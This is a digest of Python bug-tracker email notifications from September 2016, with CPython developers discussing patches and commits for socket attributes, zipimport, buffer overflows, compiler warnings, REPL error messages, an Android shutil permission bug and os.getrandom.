Message-ID: <1473811679.43.0.678970176694.issue28134@psf.upfronthosting.co.za>


Martin Panter added the comment:

The documentation says that the family, type and proto attributes correspond to the constructor arguments. Although it is unfortunate and quirky, I think your behaviour does match the documentation.

Do the mismatched settings cause any serious problems with socket methods, or just affect the Python-level attributes and repr()?

Even without using fileno=..., you could argue that the proto attribute is not ideal:
>>> s = socket()
>>> s.proto
0
>>> s.getsockopt(SOL_SOCKET, SO_PROTOCOL)
6
>>> IPPROTO_TCP
6

Perhaps the way forward is to deprecate fileno=... in favour of Neil?s fromfd2() function. That would avoid any confusion about conflicting socket() constructor arguments and defaults. I.e. what does socket(AF_INET, SOCK_STREAM, fileno=unix_datagram_fd) mean, and is it equivalent to socket(filno=unix_datagram_fd)?

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28134>
_______________________________________

From report at bugs.python.org  Tue Sep 13 20:25:55 2016
From: report at bugs.python.org (Martin Panter)
Date: Wed, 14 Sep 2016 00:25:55 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1473812755.77.0.889866997698.issue28128@psf.upfronthosting.co.za>


Martin Panter added the comment:

See also Issue 28028. Serhiy suggested translating warnings to SyntaxWarning in general. Looks like that may help narrowing down the location of escaping problems.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Tue Sep 13 20:34:51 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 14 Sep 2016 00:34:51 +0000
Subject: [issue25235] EmailMessage.add_attachment() creates parts with
 spurious MIME-Version header.
In-Reply-To: <1443210448.87.0.407287169878.issue25235@psf.upfronthosting.co.za>
Message-ID: <1473813291.23.0.210924654749.issue25235@psf.upfronthosting.co.za>


R. David Murray added the comment:

Here's patch that only puts the MIME-Version in the output stream and doesn't modify the message (permanently, at least).  I like this better.  This patch is against 3.5 (the previous one was against 3.6).  Since this stuff is provisional in 3.5, I'm thinking I'll make the full change there, including deleting MIMEMessage from the docs.

----------
stage:  -> patch review
Added file: http://bugs.python.org/file44644/fix_mime_version_headers-2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25235>
_______________________________________

From report at bugs.python.org  Tue Sep 13 20:37:28 2016
From: report at bugs.python.org (Martin Panter)
Date: Wed, 14 Sep 2016 00:37:28 +0000
Subject: [issue25868] test_eintr.test_sigwaitinfo() hangs on "AMD64 FreeBSD
 CURRENT 3.x" buildbot
In-Reply-To: <1450174856.95.0.354294896083.issue25868@psf.upfronthosting.co.za>
Message-ID: <1473813448.92.0.987131458525.issue25868@psf.upfronthosting.co.za>


Martin Panter added the comment:

Happened again:
http://buildbot.python.org/all/builders/AMD64%20FreeBSD%209.x%203.x/builds/4990/steps/test/logs/stdio
Timeout (0:10:00)!
Thread 0x0000000801807400 (most recent call first):
  File "/usr/home/buildbot/python/3.x.koobs-freebsd9/build/Lib/test/eintrdata/eintr_tester.py", line 420 in test_sigwaitinfo

Perhaps I will have another look at committing my patch. As I recall, it should make the test more robust.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25868>
_______________________________________

From report at bugs.python.org  Tue Sep 13 20:49:26 2016
From: report at bugs.python.org (Francisco Couzo)
Date: Wed, 14 Sep 2016 00:49:26 +0000
Subject: [issue28139] Misleading Indentation
Message-ID: <1473814166.19.0.411912100522.issue28139@psf.upfronthosting.co.za>


New submission from Francisco Couzo:

Fixed the warnings that appear when compiling 2.7 with -Wmisleading-indentation (Included in -Wall since GCC 6).

Kinda related, though I don't think there would be too much interest in fixing it (all the tabs in Python's C source):
$ find . -name '*.c' -print0 | xargs -0 grep -R $'\t' | wc -l
10407

----------
files: misleading_indentation.patch
keywords: patch
messages: 276367
nosy: franciscouzo
priority: normal
severity: normal
status: open
title: Misleading Indentation
versions: Python 2.7
Added file: http://bugs.python.org/file44645/misleading_indentation.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28139>
_______________________________________

From report at bugs.python.org  Tue Sep 13 21:25:12 2016
From: report at bugs.python.org (ppperry)
Date: Wed, 14 Sep 2016 01:25:12 +0000
Subject: [issue28139] Misleading Indentation in C source code
In-Reply-To: <1473814166.19.0.411912100522.issue28139@psf.upfronthosting.co.za>
Message-ID: <1473816312.23.0.665740382969.issue28139@psf.upfronthosting.co.za>


Changes by ppperry <mapreader at olum.org>:


----------
title: Misleading Indentation -> Misleading Indentation in C source code

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28139>
_______________________________________

From report at bugs.python.org  Tue Sep 13 22:05:28 2016
From: report at bugs.python.org (Martin Panter)
Date: Wed, 14 Sep 2016 02:05:28 +0000
Subject: [issue28118] type-limits warning in PyMem_New() _ssl_locks_count
In-Reply-To: <1473751400.61.0.583878208383.issue28118@psf.upfronthosting.co.za>
Message-ID: <1473818728.79.0.626201375736.issue28118@psf.upfronthosting.co.za>


Martin Panter added the comment:

Thanks that works well Christian

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28118>
_______________________________________

From report at bugs.python.org  Tue Sep 13 23:00:08 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 14 Sep 2016 03:00:08 +0000
Subject: [issue28131] assert statements missed when loaded by zipimporter
In-Reply-To: <1473783555.8.0.563951024179.issue28131@psf.upfronthosting.co.za>
Message-ID: <1473822008.98.0.528502182232.issue28131@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

This is introduced in 663a62bcf9c9. The compile optimize flag is opened in the change.

----------
nosy: +steve.dower, xiang.zhang

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28131>
_______________________________________

From report at bugs.python.org  Tue Sep 13 23:13:10 2016
From: report at bugs.python.org (Duane Griffin)
Date: Wed, 14 Sep 2016 03:13:10 +0000
Subject: [issue27482] heap-buffer-overflow on address 0x6250000078ff
In-Reply-To: <1468246905.12.0.769586892118.issue27482@psf.upfronthosting.co.za>
Message-ID: <1473822790.68.0.982563373434.issue27482@psf.upfronthosting.co.za>


Duane Griffin added the comment:

There are a couple of places where the tokenizer code is not correctly handling \0 characters occurring at the start of the buffer. Patch attached.

----------
keywords: +patch
nosy: +duaneg
Added file: http://bugs.python.org/file44646/0001-Issue-27482-handle-nul-characters-while-reading-inpu.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27482>
_______________________________________

From report at bugs.python.org  Tue Sep 13 23:56:15 2016
From: report at bugs.python.org (Steve Dower)
Date: Wed, 14 Sep 2016 03:56:15 +0000
Subject: [issue28131] assert statements missed when loaded by zipimporter
In-Reply-To: <1473783555.8.0.563951024179.issue28131@psf.upfronthosting.co.za>
Message-ID: <1473825375.71.0.454796211255.issue28131@psf.upfronthosting.co.za>


Steve Dower added the comment:

Bah, that's meant to be a -1 in that change, not 1. I must have typo'd when moving from the default branch to put it in 3.5.

Anyone's welcome to fix it, or I'll get it when I have time for CPython work.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28131>
_______________________________________

From report at bugs.python.org  Tue Sep 13 23:56:34 2016
From: report at bugs.python.org (Steve Dower)
Date: Wed, 14 Sep 2016 03:56:34 +0000
Subject: [issue28131] assert statements missed when loaded by zipimporter
In-Reply-To: <1473783555.8.0.563951024179.issue28131@psf.upfronthosting.co.za>
Message-ID: <1473825394.04.0.472587633807.issue28131@psf.upfronthosting.co.za>


Changes by Steve Dower <steve.dower at python.org>:


----------
nosy: +larry
versions: +Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28131>
_______________________________________

From report at bugs.python.org  Wed Sep 14 00:37:56 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 14 Sep 2016 04:37:56 +0000
Subject: [issue28131] assert statements missed when loaded by zipimporter
In-Reply-To: <1473783555.8.0.563951024179.issue28131@psf.upfronthosting.co.za>
Message-ID: <1473827876.16.0.209701146711.issue28131@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Here is a patch with a test case.

----------
keywords: +patch
nosy: +berker.peksag
stage:  -> patch review
type:  -> behavior
Added file: http://bugs.python.org/file44647/issue28131.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28131>
_______________________________________

From report at bugs.python.org  Wed Sep 14 00:40:03 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 14 Sep 2016 04:40:03 +0000
Subject: [issue28140] Attempt to give better errors for shell commands typed
 into the REPL
Message-ID: <1473828003.51.0.301742763108.issue28140@psf.upfronthosting.co.za>


New submission from Nick Coghlan:

A problem we're starting to see on distutils-sig is folks trying to type pip commands into the Python REPL rather than their system shell, and getting cryptic syntax errors back:

>>> pip install requests
  File "<stdin>", line 1
    pip install requests
              ^
SyntaxError: invalid syntax
>>> python -m pip install requests
  File "<stdin>", line 1
    python -m pip install requests
                ^
SyntaxError: invalid syntax

This may be amenable to a similar solution to the one we used to give a custom error message for "print ":

>>> print foo
  File "<stdin>", line 1
    print foo
            ^
SyntaxError: Missing parentheses in call to 'print'

That code currently checks for "print " and "exec ", so it would be a matter of adding another special case that looked for "pip install " appearing anywhere in the string that's failing to compile (it can't be limited to the start as it may be an attempt to invoke pip via "-m")

----------
messages: 276373
nosy: ncoghlan
priority: normal
severity: normal
status: open
title: Attempt to give better errors for shell commands typed into the REPL
type: enhancement
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28140>
_______________________________________

From report at bugs.python.org  Wed Sep 14 00:46:29 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Wed, 14 Sep 2016 04:46:29 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473828389.82.0.997108550799.issue28055@psf.upfronthosting.co.za>


Benjamin Peterson added the comment:

Here's a patch that requires 8-byte alignment. It almost completely works except that on ABIs with 32-bit pointers, unicode objects can have their data pointers aligned at only 4-bytes. Perhaps we can get away with requiring only 4-byte alignment on 32-bit platforms because they generally have implement the 64-bit load as 2 32-bit loads anyway.

----------
Added file: http://bugs.python.org/file44648/hash-bytes-alignment.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Wed Sep 14 00:49:06 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 14 Sep 2016 04:49:06 +0000
Subject: [issue28139] Misleading Indentation in C source code
In-Reply-To: <1473814166.19.0.411912100522.issue28139@psf.upfronthosting.co.za>
Message-ID: <20160914044903.7493.91680.3198DCDD@psf.io>


Roundup Robot added the comment:

New changeset 4d91f5c2ef99 by Benjamin Peterson in branch '2.7':
fix misleading indentation (closes #28139)
https://hg.python.org/cpython/rev/4d91f5c2ef99

----------
nosy: +python-dev
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28139>
_______________________________________

From report at bugs.python.org  Wed Sep 14 00:58:58 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Wed, 14 Sep 2016 04:58:58 +0000
Subject: [issue28131] assert statements missed when loaded by zipimporter
In-Reply-To: <1473783555.8.0.563951024179.issue28131@psf.upfronthosting.co.za>
Message-ID: <1473829138.07.0.135084423189.issue28131@psf.upfronthosting.co.za>


Benjamin Peterson added the comment:

lgtm

----------
nosy: +benjamin.peterson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28131>
_______________________________________

From report at bugs.python.org  Wed Sep 14 01:10:32 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 14 Sep 2016 05:10:32 +0000
Subject: [issue28131] assert statements missed when loaded by zipimporter
In-Reply-To: <1473783555.8.0.563951024179.issue28131@psf.upfronthosting.co.za>
Message-ID: <20160914051029.22514.45464.C5EF2C5F@psf.io>


Roundup Robot added the comment:

New changeset 7bec326972f5 by Berker Peksag in branch '3.5':
Issue #28131: Fix a regression in zipimport's compile_source()
https://hg.python.org/cpython/rev/7bec326972f5

New changeset 7a6c0c4e6072 by Berker Peksag in branch '3.6':
Issue #28131: Merge from 3.5
https://hg.python.org/cpython/rev/7a6c0c4e6072

New changeset 873760b02024 by Berker Peksag in branch 'default':
Issue #28131: Merge from 3.6
https://hg.python.org/cpython/rev/873760b02024

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28131>
_______________________________________

From report at bugs.python.org  Wed Sep 14 01:14:50 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 14 Sep 2016 05:14:50 +0000
Subject: [issue28131] assert statements missed when loaded by zipimporter
In-Reply-To: <1473783555.8.0.563951024179.issue28131@psf.upfronthosting.co.za>
Message-ID: <1473830090.29.0.394069640298.issue28131@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the report and for the reviews!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28131>
_______________________________________

From report at bugs.python.org  Wed Sep 14 01:15:21 2016
From: report at bugs.python.org (Markus Holtermann)
Date: Wed, 14 Sep 2016 05:15:21 +0000
Subject: [issue25895] urllib.parse.urljoin does not handle WebSocket URLs
In-Reply-To: <1450331933.69.0.301225840177.issue25895@psf.upfronthosting.co.za>
Message-ID: <1473830121.16.0.159872266993.issue25895@psf.upfronthosting.co.za>


Markus Holtermann added the comment:

Thanks for your input. I remove the versionchanged block.

----------
Added file: http://bugs.python.org/file44649/0001-Enable-WebSocket-URL-schemes-in-urllib.parse.urljoin.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25895>
_______________________________________

From report at bugs.python.org  Wed Sep 14 01:39:46 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 14 Sep 2016 05:39:46 +0000
Subject: [issue26171] heap overflow in zipimporter module
In-Reply-To: <1453348353.03.0.314168195173.issue26171@psf.upfronthosting.co.za>
Message-ID: <20160914053943.7401.89094.6AF9838F@psf.io>


Roundup Robot added the comment:

New changeset 5ae8756a1ae0 by Berker Peksag in branch '3.3':
Issue #26171: Prevent buffer overflow in get_data
https://hg.python.org/cpython/rev/5ae8756a1ae0

New changeset fa006d671f41 by Berker Peksag in branch '3.4':
Issue #26171: Null merge
https://hg.python.org/cpython/rev/fa006d671f41

New changeset 2fb148cd95a2 by Berker Peksag in branch '3.5':
Issue #26171: Null merge
https://hg.python.org/cpython/rev/2fb148cd95a2

New changeset aa0c49b8edae by Berker Peksag in branch '3.6':
Issue #26171: Null merge
https://hg.python.org/cpython/rev/aa0c49b8edae

New changeset f3df6b16af7d by Berker Peksag in branch 'default':
Issue #26171: Null merge
https://hg.python.org/cpython/rev/f3df6b16af7d

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26171>
_______________________________________

From report at bugs.python.org  Wed Sep 14 01:41:18 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 14 Sep 2016 05:41:18 +0000
Subject: [issue26171] heap overflow in zipimporter module
In-Reply-To: <1453348353.03.0.314168195173.issue26171@psf.upfronthosting.co.za>
Message-ID: <1473831678.12.0.120946439605.issue26171@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks!

----------
nosy: +berker.peksag
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26171>
_______________________________________

From report at bugs.python.org  Wed Sep 14 01:45:32 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 14 Sep 2016 05:45:32 +0000
Subject: [issue27482] heap-buffer-overflow on address 0x6250000078ff
In-Reply-To: <1468246905.12.0.769586892118.issue27482@psf.upfronthosting.co.za>
Message-ID: <1473831932.38.0.508068153473.issue27482@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
assignee:  -> serhiy.storchaka
nosy: +serhiy.storchaka
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27482>
_______________________________________

From report at bugs.python.org  Wed Sep 14 01:47:12 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 14 Sep 2016 05:47:12 +0000
Subject: [issue28119] Explicit null dereferenced in formatter_unicode.c
In-Reply-To: <1473751923.13.0.486093276852.issue28119@psf.upfronthosting.co.za>
Message-ID: <20160914054708.24379.95437.4AC8ECA2@psf.io>


Roundup Robot added the comment:

New changeset a27cb132e140 by Benjamin Peterson in branch '3.5':
improve type-safe of and prevent double-frees in get_locale_info (#28119)
https://hg.python.org/cpython/rev/a27cb132e140

New changeset 5ab61df1ca96 by Benjamin Peterson in branch '3.6':
merge 3.5 (#28119)
https://hg.python.org/cpython/rev/5ab61df1ca96

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28119>
_______________________________________

From report at bugs.python.org  Wed Sep 14 01:49:22 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Wed, 14 Sep 2016 05:49:22 +0000
Subject: [issue28119] Explicit null dereferenced in formatter_unicode.c
In-Reply-To: <1473751923.13.0.486093276852.issue28119@psf.upfronthosting.co.za>
Message-ID: <1473832162.37.0.0307771561694.issue28119@psf.upfronthosting.co.za>


Benjamin Peterson added the comment:

I think that should take care of it (and also possible double-frees I noticed)?

----------
nosy: +benjamin.peterson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28119>
_______________________________________

From report at bugs.python.org  Wed Sep 14 01:55:28 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 14 Sep 2016 05:55:28 +0000
Subject: [issue28081] [Patch] timemodule: Complete Autoconf bits for clock_*()
 functions: make clock_getres() and clock_settime() optional
In-Reply-To: <1473618669.04.0.158374043531.issue28081@psf.upfronthosting.co.za>
Message-ID: <20160914055525.23659.86749.2A91031D@psf.io>


Roundup Robot added the comment:

New changeset 0ea088671bc2 by Benjamin Peterson in branch '3.6':
more granular configure checks for clock_* functions (closes #28081)
https://hg.python.org/cpython/rev/0ea088671bc2

New changeset 3ce29b2452f0 by Benjamin Peterson in branch 'default':
merge 3.6 (#28081)
https://hg.python.org/cpython/rev/3ce29b2452f0

----------
nosy: +python-dev
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28081>
_______________________________________

From report at bugs.python.org  Wed Sep 14 02:04:10 2016
From: report at bugs.python.org (Jerry A)
Date: Wed, 14 Sep 2016 06:04:10 +0000
Subject: [issue28141] shutil.copystat utime lookup fails on certain Android
 file systems
Message-ID: <1473833050.26.0.837055301848.issue28141@psf.upfronthosting.co.za>


New submission from Jerry A:

shutil.copystat fails on certain Android filesystems when trying lookup("utime") (line 194 of https://hg.python.org/cpython/file/3.5/Lib/shutil.py)

Using Python 2.7 and Python 3.5 on Android 6.0.1., when I am on the "typical" user file system, and I run a script that uses shutil.copy2, that copy2 will fail when it calls shutil.copystat and that copystat fails performing utime on the destination file.

I am attaching a script that can be used to reproduce this. I run the script using python 3.5 within termux.

Below is a transcript my running of the attacked script.

$ pwd
/data/data/com.termux/files/home

$ ls --l
Dropbox  storage  tmp  venv  workspace

$ ls -la
total 52
drwx------ 10 u0_a73 u0_a73    4096 Sep 13 16:07 .
drwx------  4 u0_a73 u0_a73    4096 Jul 10 02:18 ..
-rw-------  1 u0_a73 u0_a73    7011 Sep 13 20:34 .bash_history
drwx------  3 u0_a73 u0_a73    4096 Jul 10 02:30 .cache
drwxrwx--- 12 u0_a73 everybody 4096 Sep 13 15:35 .emacs.d
drwx------  2 u0_a73 u0_a73    4096 Jul 10 15:58 .gnupg
-rw-------  1 u0_a73 u0_a73     145 Sep 13 16:07 .python_history
drwx------  2 u0_a73 everybody 4096 Sep 13 12:45 .ssh
drwx------  3 u0_a73 u0_a73    4096 Sep 13 14:10 Dropbox
drwx------  2 u0_a73 u0_a73    4096 Jul 10 03:42 storage
drwx------  2 u0_a73 u0_a73    4096 Sep 13 14:24 tmp
drwx------  5 u0_a73 u0_a73    4096 Jul 10 02:33 venv
lrwxrwxrwx  1 u0_a73 u0_a73      30 Jul 10 15:54 workspace -> /storage/emulated/0/workspace/


$ cat /proc/mounts
rootfs / rootfs ro,seclabel,relatime 0 0
tmpfs /dev tmpfs rw,seclabel,nosuid,relatime,mode=755 0 0
devpts /dev/pts devpts rw,seclabel,relatime,mode=600 0 0
none /dev/memcg cgroup rw,relatime,memory 0 0
none /dev/cpuctl cgroup rw,relatime,cpu 0 0
adb /dev/usb-ffs/adb functionfs rw,relatime 0 0
proc /proc proc rw,relatime 0 0
sysfs /sys sysfs rw,seclabel,relatime 0 0
selinuxfs /sys/fs/selinux selinuxfs rw,relatime 0 0
none /sys/fs/cgroup tmpfs rw,seclabel,relatime,mode=750,gid=1000 0 0
none /sys/fs/cgroup/memory cgroup rw,relatime,memory 0 0
/sys/kernel/debug /sys/kernel/debug debugfs rw,seclabel,relatime 0 0
none /acct cgroup rw,relatime,cpuacct 0 0
tmpfs /mnt tmpfs rw,seclabel,relatime,mode=755,gid=1000 0 0
/dev/fuse /mnt/runtime/default/emulated fuse rw,nosuid,nodev,noexec,noatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0
/dev/fuse /mnt/runtime/read/emulated fuse rw,nosuid,nodev,noexec,noatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0
/dev/fuse /mnt/runtime/write/emulated fuse rw,nosuid,nodev,noexec,noatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0
/dev/block/platform/dw_mmc.0/by-name/system /system ext4 ro,seclabel,relatime 0 0
/dev/block/platform/dw_mmc.0/by-name/cache /cache ext4 rw,seclabel,nosuid,nodev,noatime,journal_checksum,journal_async_commit,noauto_da_alloc,errors=panic,data=ordered 0 0
/dev/block/platform/dw_mmc.0/by-name/userdata /data ext4 rw,seclabel,nosuid,nodev,noatime,journal_checksum,journal_async_commit,noauto_da_alloc,errors=panic,data=ordered 0 0
/dev/block/platform/dw_mmc.0/by-name/efs /factory ext4 ro,seclabel,relatime,data=ordered 0 0
tmpfs /storage tmpfs rw,seclabel,relatime,mode=755,gid=1000 0 0
/dev/fuse /storage/emulated fuse rw,nosuid,nodev,noexec,noatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0
tmpfs /storage/self tmpfs rw,seclabel,relatime,mode=755,gid=1000 0 0
$

$ cd workspace
$ cd foo
$ cd copystatbug/

$ echo "this is Mr. Lorem Ipsum" > foo.bar
$ cat foo.bar
this is Mr. Lorem Ipsum

$ python copyoops2.py
copyfoo
A problem lookingup utime(<built-in function utime>) of foo.foo; [Errno 1] Operation not permitted
A problem copying the file metadata of foo.bar to foo.foo; [Errno 1] Operation not permitted: 'foo.foo'
copybar
A problem lookingup utime(<built-in function utime>) of bar.bar; [Errno 1] Operation not permitted
Traceback (most recent call last):
  File "copyoops2.py", line 155, in <module>
    copybar("foo.bar", "bar.bar")
  File "copyoops2.py", line 151, in copybar
    copystat(src, dst, follow_symlinks=follow_symlinks)
  File "copyoops2.py", line 81, in copystat
    lookup("chmod")(dst, mode, follow_symlinks=follow)
PermissionError: [Errno 1] Operation not permitted: 'bar.bar'
$ ls -la
total 36
drwxrwx--- 2 root everybody 4096 Sep 13 22:40 .
drwxrwx--- 4 root everybody 4096 Sep 13 20:42 ..
-rw-rw---- 1 root everybody   24 Sep 13 22:40 bar.bar
-rw-rw---- 1 root everybody 4846 Sep 13 22:38 copyoops.py
-rw-rw---- 1 root everybody 4838 Sep 13 22:39 copyoops2.py
-rw-rw---- 1 root everybody   24 Sep 13 20:57 foo.bar
-rw-rw---- 1 root everybody   24 Sep 13 22:40 foo.foo
$ python --version
Python 3.5.2

----------
components: Library (Lib)
files: copyoops2.py
messages: 276385
nosy: Jerry A
priority: normal
severity: normal
status: open
title: shutil.copystat utime lookup fails on certain Android file systems
type: behavior
versions: Python 2.7, Python 3.5
Added file: http://bugs.python.org/file44650/copyoops2.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28141>
_______________________________________

From report at bugs.python.org  Wed Sep 14 02:40:51 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 14 Sep 2016 06:40:51 +0000
Subject: [issue27778] PEP 524: Add os.getrandom()
In-Reply-To: <1471368341.7.0.188364803995.issue27778@psf.upfronthosting.co.za>
Message-ID: <1473835251.21.0.128035164253.issue27778@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Right, the only missing piece now is documentation of the ENOSYS case, which end users may encounter if a Python 3.6 binary that supports os.getrandom() is run against an older kernel.

That's pretty easy to trigger via containers, as getrandom() was added in Linux 3.17 and hasn't generally been backported to LTS distribution kernels.

Debian 8: based on 3.16
Ubuntu 14.04: 3.13 default, 4.4 (from 16.04) available as of 14.04.5
RHEL/CentOS 7: based on 3.10
RHEL/CentOS 6: based on 2.6

So of those potential LTS container hosts, a recent Ubuntu or Fedora container running Python 3.6 will currently get ENOSYS for everything except a fresh Ubuntu 14.04 install that uses the Ubuntu 16.04 kernel.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27778>
_______________________________________

From report at bugs.python.org  Wed Sep 14 02:42:16 2016
From: report at bugs.python.org (Memo)
Date: Wed, 14 Sep 2016 06:42:16 +0000
Subject: [issue28142] windows installer not adding PYTHONHOME
Message-ID: <1473835336.65.0.165841373557.issue28142@psf.upfronthosting.co.za>


New submission from Memo:

Hi,

when i run python from elevated CMD it is failed to start and give error system codecs not found...

The problem is python installer for windows "python-3.5.2-amd64.exe" is not adding the PYTHONHOME environment variable.

When I manually added it problem solved.

Thanks,

----------
components: Installation
messages: 276387
nosy: Mm
priority: normal
severity: normal
status: open
title: windows installer not adding PYTHONHOME
type: crash
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28142>
_______________________________________

From report at bugs.python.org  Wed Sep 14 03:28:11 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 14 Sep 2016 07:28:11 +0000
Subject: [issue28114] Crash in unicodeobject.c find_maxchar_surrogates on
 python-3.6.0b1 for Windows
In-Reply-To: <1473749735.07.0.359680040874.issue28114@psf.upfronthosting.co.za>
Message-ID: <1473838091.89.0.197869784415.issue28114@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Here's a patch for Unix. I will add Windows support when I get my Windows VM.

> [...] (and add a test - test_crashers, presumably?) [...]

Unfortunately, test_crashers doesn't run since 2011 (skipped in 481ad9129a0f.) parse_envlist() is only used by os.execve() and os.spawnve() so I'm not sure what's the best way to test the patch (other than adapting Eryk's snippet in msg276241.)

----------
keywords: +patch
nosy: +berker.peksag
stage:  -> patch review
Added file: http://bugs.python.org/file44651/issue28114_unix.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28114>
_______________________________________

From report at bugs.python.org  Wed Sep 14 03:28:48 2016
From: report at bugs.python.org (Francisco Couzo)
Date: Wed, 14 Sep 2016 07:28:48 +0000
Subject: [issue26830] Refactor Tools/scripts/google.py
In-Reply-To: <1461346654.96.0.919095766119.issue26830@psf.upfronthosting.co.za>
Message-ID: <1473838127.99.0.692526246916.issue26830@psf.upfronthosting.co.za>


Changes by Francisco Couzo <franciscouzo at gmail.com>:


Added file: http://bugs.python.org/file44652/scripts_google_v4.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26830>
_______________________________________

From report at bugs.python.org  Wed Sep 14 03:36:39 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 14 Sep 2016 07:36:39 +0000
Subject: [issue28142] windows installer not adding PYTHONHOME
In-Reply-To: <1473835336.65.0.165841373557.issue28142@psf.upfronthosting.co.za>
Message-ID: <1473838599.81.0.622094665381.issue28142@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
nosy: +steve.dower, zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28142>
_______________________________________

From report at bugs.python.org  Wed Sep 14 03:41:05 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 14 Sep 2016 07:41:05 +0000
Subject: [issue27778] PEP 524: Add os.getrandom()
In-Reply-To: <1471368341.7.0.188364803995.issue27778@psf.upfronthosting.co.za>
Message-ID: <1473838865.7.0.913496881423.issue27778@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Oh sorry, I looked in the wrong location and missed it.

* if (PyErr_CheckSignals() < 0) {return NULL;} does not free buffer with PyMem_Free(buffer);

* The function allocates memory once with PyMem_Malloc() and later a second time with PyBytes_FromStringAndSize(buffer, n). You can avoid the first allocation and a memcpy() with PyBytes_FromStringAndSize(NULL, n) and PyBytes_AS_STRING().

* The syscall can also raise EPERM as reported by a user on QNAP. IIRC a seccomp policy caused EPERM.

----------
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27778>
_______________________________________

From report at bugs.python.org  Wed Sep 14 03:48:18 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 14 Sep 2016 07:48:18 +0000
Subject: [issue28119] Explicit null dereferenced in formatter_unicode.c
In-Reply-To: <1473751923.13.0.486093276852.issue28119@psf.upfronthosting.co.za>
Message-ID: <1473839298.2.0.352538591903.issue28119@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Thanks! You fixed the problem and Coverity is no longer complaining. The code is more readable, too.

